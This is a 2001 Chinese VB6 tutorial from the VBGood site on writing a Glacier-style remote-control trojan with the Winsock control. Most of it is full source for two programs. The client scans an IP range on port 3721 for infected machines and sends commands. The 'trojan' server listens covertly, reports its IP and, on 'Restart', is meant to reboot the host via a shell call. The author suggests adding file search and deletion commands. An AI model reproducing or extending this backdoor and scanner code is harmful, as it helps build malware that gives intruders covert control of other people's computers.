VBGood网站全文搜索 Google

搜索VBGood全站网页(全文搜索)
首页 - 经验之谈 - 谈谈远程控制中关于搜索、控制计算机的功能
发表评论(0)作者:不详, 平台:VB6.0+Win98, 阅读:11154, 日期:2001-08-13
谈谈远程控制中关于搜索、控制计算机的功能
作者 武汉 艾军
相信大家对“冰河”之类的软件一定都非常的感兴趣,这里我们一起来讨论一下“冰河”类软件中关于如何实现搜索、控制远端计算机(在局域网、或互联网上搜索那些中了木马的机器)的功能。
一、 编程原理
客户端程序:(控制远端计算机)
在 VB 中,我们可以通过 Winsock 控件的 TCP 协议,通过循环向指定的各个 IP 地地址的指定端口发送连接请示,然后分析返回值,已确定哪些机器是我们可以控制的。
服务器端程序:(也就是木马)
同样通过 Winsock 控件的 TCP 协议,通过监视指定的端口,取得相关的信息,分析信息是否为客房端程序发送过来的信息,然后进行一定的处理。
二、 基础知识
下面介绍一下 Winsock 控件的属性、方法、事件,这样大家对程序就会有更深的了解。
Winsock 控件的属性:
.LocalIP 属性      返回本地机器的 IP 地址,格式是 IP 地址加点字符串 (xxx.xxx.xxx.xxx)。在设计时是只读的,而且是不可用的。
.Protocol 属性     返回或设置 Winsock 控件所使用的协议— 或者是 TCP,或者是 UDP。
.RemotePort 属性   要连接的远程计算机的端口。
.RemoteHost 属性   要连接的远程计算机的名称,也可以是 IP 地址。
.LocalHostName 属性 返回本地机器名。在设计时是只读的,而且是不可用的。
.State 属性        返回控件的状态
State 属性的设置值是:
常数                   值  描述
sckClosed              0   缺省的。关闭
sckOpen                1   打开
sckListening           2   侦听
sckConnectionPending   3   连接挂起
sckResolvingHost       4   识别主机
sckHostResolved        5   已识别主机
sckConnecting          6   正在连接
sckConnected           7   已连接
sckClosing             8   同级人员正在关闭连接
sckError               9   错误


Winsock 控件的方法
.Connect 方法      要求连接到远程计算机。
.Close 方法        对客户机和服务器应用程序关闭 TCP 连接或侦听套接字。
.Listen 方法       创建套接字并将其设置为侦听模式。该方法仅适用于 TCP 连接。
.GetData 方法      获取当前的数据块并将其存储在变体类型的变量中。
.Accept 方法       仅适用于 TCP 服务器应用程序。在处理 ConnectionRequest 事件时用这个方法接受新连接。

Winsock 控件的事件
.ConnectionRequest 事件 `当远程计算机请求连接时出现。仅适用于 TCP 服务器应用程序。
.DataArrival 事件  `当新数据到达时出现。
三、 编程实践
下面我们就以一个实例来说明,如何实现用控制程序(客户端的程序)在局域网或互联网上搜索运行了木马(服务端的程序)的计算机,并对其进行控制(让该计算机重新启动)。
(1)客户端程序:
1、新建一个 VB 工程,添加一个 Winsock 控件(用来实现远程连接);一个 ProgressBar 控件;一个 List 控件(显示可以控制的计算机的 IP 地址);一个 Frame 控件,其 Caption 为 “搜索范围”;七个 Label 控件,其 Name 都为默认值,Caption 分别为 “监听端口:”,“延迟时间:”,“毫秒”,“起始域:”,“起始地址:”,“终此地址:”,“搜索结果:”;二个 Command 控件,其 Name 都为默认值,Caption 分别为“开始搜索”,“程序结束”,一个 StatusBar 控件(其中涉及的几个非常规控件,请按下面的步骤加载:工程→部件→Micrsoft Windows Common Controls 5.0;Microsoft Winsock Control 6.0),程序设计界面如图1所示:(是不是和冰河 V2.2 版中搜索计算机的窗口非常相似呀)
2、现在切换到代码编辑窗口,依次写入以下代码:
注意:在下面程序中我所提到的“木马”,就是服务器端的程序
①全局变量的声名
Option Explicit
Dim myip As String  `保存本地 IP 地址
Dim IsFind As Boolean `判断计算机是否可以控制
Dim temp_i, temp_j, temp_n, temp_o, sum_i As Long  `5 个临时变量
②程序初始化设置
Private Sub Form_Load()
    myip = Winsock1.LocalIP `返回本地机器的 IP 地址,在设计时是只读的,而且是不可用的。
    Winsock1.Protocol = sckTCPProtocol  `使用 TCP 协议
    `程序初始化设置
    Text1(0).Text = "3721"  `为服务器端口值
    Text1(1).Text = "2000"  `搜索木马机器的延迟时间
    For temp_j = 1 To 3
        temp_i = InStr(temp_i + 1, myip, ".")
    Next
    Text1(2).Text = Left(myip, temp_i - 1)  `起始域
    Text1(3).Text = "1" `起始地址
    Text1(4).Text = "10"    `终此地址
    StatusBar1.Style = sbrSimple `设置 StatusBar 控件的样式
    StatusBar1.SimpleText = "准备搜索"  `设置 StatusBar 显示的文本
End Sub
③开始搜索中木马的计算机
Private Sub Command1_Click()
On Error GoTo error1
            sum_i = 0 `用来保存搜索到的计算机数目
            temp_j = ProgressBar1.Min   `取得 ProgressBar 控件的最小值
            List1.Enabled = False
            List1.Clear `清空列表框
            StatusBar1.SimpleText = "开始搜索计算机....."
            Command1.Enabled = False
            For temp_i = 0 To 4
                Text1(temp_i).Enabled = False
            Next
            `进行一系列的错误判断
            If Int(Text1(3)) < 0 Then GoTo error1
            If Int(Text1(4)) < 0 Then GoTo error1
            If Int(Text1(4)) - Int(Text1(3)) < 0 Then GoTo error1
            ProgressBar1.Max = (Int(Text1(4)) - Int(Text1(3)) + 1) * 10 `定义 ProgressBar 控件的最大值,在后面的程序中可以实现"进度条"
            For temp_i = Int(Text1(3)) To Int(Text1(4)) `循环开始连接各个 IP 地址
                StatusBar1.SimpleText = "正在连接" & Text1(2).Text & "." & temp_i & "....."
                IsFind = SearchComputer(Text1(2).Text & "." & temp_i)   `通过自定函数 SearchComputer 判断该 IP 地址,是否有可以控制的计算机
                temp_j = temp_j + 10    `定义"进度条"增加的块数
                ProgressBar1.Value = temp_j `增加“进度条"的块数,以产生动态变化
                StatusBar1.SimpleText = "搜索完毕,共找到" & sum_i & "台计算机可以控制"
            Next
            Command1.Enabled = True
            List1.Enabled = True
            For temp_i = 0 To 4
                Text1(temp_i).Enabled = True
            Next
   
    Exit Sub
error1:
    MsgBox "程序运行错误,请重新设置后,再运行本程序!!", vbCritical, "程序错误"
    For temp_i = 0 To 4
        Text1(temp_i).Enabled = True
    Next
    List1.Clear
    Command1.Enabled = True
    StatusBar1.SimpleText = "准备搜索"
End Sub
④自定义 SearchComputer 函数,用来判断指定 IP 地址的计算机是否可以控制
Private Function SearchComputer(ByVal ip As String) As Boolean   `自定义函数,判断指定 IP 地址的计算机是否可以控制
On Error Resume Next `在 Win98 下测试时,有时间会出现“没有可用的缓冲空间”的错误,而在 Win2000 下测试时则不会出现该错误,因此为了防止程序出现致命的错误,就用了这个 On Error Resume Next
    Dim PauseTime, Start As Long `定义暂停的时间,及开始斩停的时间
    Winsock1.Close  `关闭 TCP 连接,以便下次连接
    Winsock1.Protocol = sckTCPProtocol  `使用 TCP 协议
    Winsock1.RemotePort = Val(Text1(0).Text) `要连接的远程计算机的端口,一般不要改变,因为在下面制做的服务器端的程序中,就是监视本程序的默认端口    Winsock1.RemoteHost = ip    `要连接的远程计算机的名称,也可以是 IP 地址
    Winsock1.Connect `要求连接到远程计算机
   
    PauseTime = Val(Text1(1).Text) / 1000  ` 设置延迟时间,把毫秒转换为秒。
    Start = Timer   ` 设置开始暂停的时刻
    
    Do While Timer < Start + PauseTime
        DoEvents    `转让控制权,以便让操作系统处理其它的事件。
                    `在设置的延迟时间内,连接远程的计算机
    Loop
   `Loop Until Winsock1.State = sckConnected Or Winsock1.State = sckError `也可以为永远的连接远程的计算机,除非发生错误或连接成功才退出

    If Winsock1.State = sckError Then SearchComputer = False `连接错误
    If Winsock1.State = sckConnected Then
        SearchComputer = True        `连接成功
        Winsock1.SendData "Call" `向服务端的程序发送信息,以通知需要进行连接,如果服务端程序有响应则会发回相应的信息
        PauseTime = 1 ` 设置延迟时间
        Start = Timer   ` 设置开始暂停的时刻
        Do While Timer < Start + PauseTime
            DoEvents    `转让控制权,以便让操作系统处理其它的事件。
                        `让服务端的程序有足够的时间处理 Winsock1.SendData "Call"
        Loop
    End If
End Function
⑤接受服务端程序发出的信息,从中取出所需要的信息,进行处理(取得中木马计算机的 IP 地址)
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) `当新数据到达时出现
On Error Resume Next
    Dim getinfo As String `用来保存取得的信息
    Dim isgetinfo As Boolean `一个临时的变量
    Winsock1.GetData getinfo, vbString `取得信息
    
    temp_o = InStr(1, getinfo, "OK")
    If temp_o <> 0 Then
        getinfo = Right(getinfo, Len(getinfo) - 2)
        For temp_n = 0 To List1.ListCount
            If InStr(1, List1.List(temp_n), getinfo) = 0 Then
                isgetinfo = True
            Else
                isgetinfo = False
                Exit For
            End If
        Next
        
        If isgetinfo = True Then
            List1.AddItem getinfo `把 IP 地址写到 List1 中
            sum_i = sum_i + 1
        End If
    End If
    End Sub
⑥对远程计算机进行一定的操作(使用远程计算机重新启动)
Private Sub List1_DblClick() `在本程序中是通过双击 List 中显示的 IP 地址,使该计算机重新启动
    Dim yn As Long
    yn = MsgBox("是否关闭该计算机上的服务器程序!!", vbYesNo + vbExclamation, "远程控制")
    If yn = vbYes Then
        IsFind = SearchComputer(List1.List(List1.ListIndex)) (注意1)
        If IsFind = True Then
            Winsock1.SendData "Restart" `向服务端的程序发送重新启动计算机的命令
            List1.RemoveItem (List1.ListIndex)
        End If
    End If
End Sub⑦在文本档上上移动光标时实现全选
Private Sub Text1_GotFocus(Index As Integer)    `当文本框得到光标时自动全选
    For temp_i = 0 To 4
        AutoSelect Text1(temp_i)
    Next
End Sub

Private Sub AutoSelect(SelObject As Control)
        SelObject.SelLength = Len(SelObject.Text)
End Sub
(2)服务器端程序的编写:
1、新建一个 VB 工程,添加两个 Winsock 控件(Winsock1 用来监视指定端口,以确定客户端程序是否与自己发生连接,Winsock2 用来实现与客户端程序的对话),程序设计界面如图2所示。
2、现在切换到代码编辑窗口,依次写入以下代码:
①用 Winsock1 来监视指定的端口
Option Explicit
Private Sub Form_Load()
    Me.Caption = Winsock1.LocalIP
    Winsock1.RemoteHost = Winsock1.LocalIP    `要连接的远程计算机的名称,这里是设置为本地机器的名称
    Winsock1.LocalPort = 3721 `设置需要监视的端口,要和客户机的一样
    Winsock1.Listen `将其设置为监听状态
End Sub
⑵用 Winsock2 来实现与客户端程序的对话
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) `当远程计算机请求连接时出现
    If Winsock2.State <> sckClosed Then Winsock2.Close
    Winsock2.Accept requestID
End Sub

Private Sub Winsock2_DataArrival(ByVal bytesTotal As Long) `当新数据到达时出现
    Dim PauseTime, Start As Long
    Dim getinfo As String
    Winsock2.GetData getinfo, vbString `取得客户端程序发过来的信息
    Select Case CStr(getinfo)
        Case "Call" `如果为 “Call”,则把本身的 IP 地址发送回客户机(这个客户机就可以对本机进行控制了)
            Winsock2.SendData "OK!*" & Winsock1.LocalIP
        Case "Restart" `接受客户机命令,进行重新启动
            ` Shell ("rundll.exe user.exe,exitwindowsexec") ‘在调试程序时先注释到,先用关闭自身的程序来测试吧
            Unload Me
    End Select
`大家可以在服务端的程序中,设计许多的操作,如查找、删除、新建文件等等的操作,并一一定义,这样在接受到客户端发过来的信息后,可以进行各类不同的操作
End Sub
四、 补充说明:
为了使用程序容易理解,我没有对 Winsock 控件进行动态的控制。
(1)在客户端的程序中:如在自定义函数 SearchComputer 中如果连接上服务器端的程序后,就因该再动态新增一个 Winsock 控件,进行接着的操作,保存原来的以便需要对服务器端进行操作时使用,而不会在 (注意1)进行再次连接
(2)在服务器端的程序中:如果有一个用户连接就因该至少有两个 Winsock 控件,如果有两个用户同时连接,则要有三个 Winsock 控件,依次类堆,因此也需要动态新增 Winsock 控件。
五、 程序完成:
希望大家读完本程序,对 Winsock 控件有更深的了解,希望大家对远程控制类(冰河)类软件有更深的了解,本程序在 PWIN2000+VB6.0 下编辑完成,在 Pwin98、Pwin2000+局域网 上运行正常,大家如果对本程序还有什么问题,可到 www.d1vb.com 来我们一起讨论。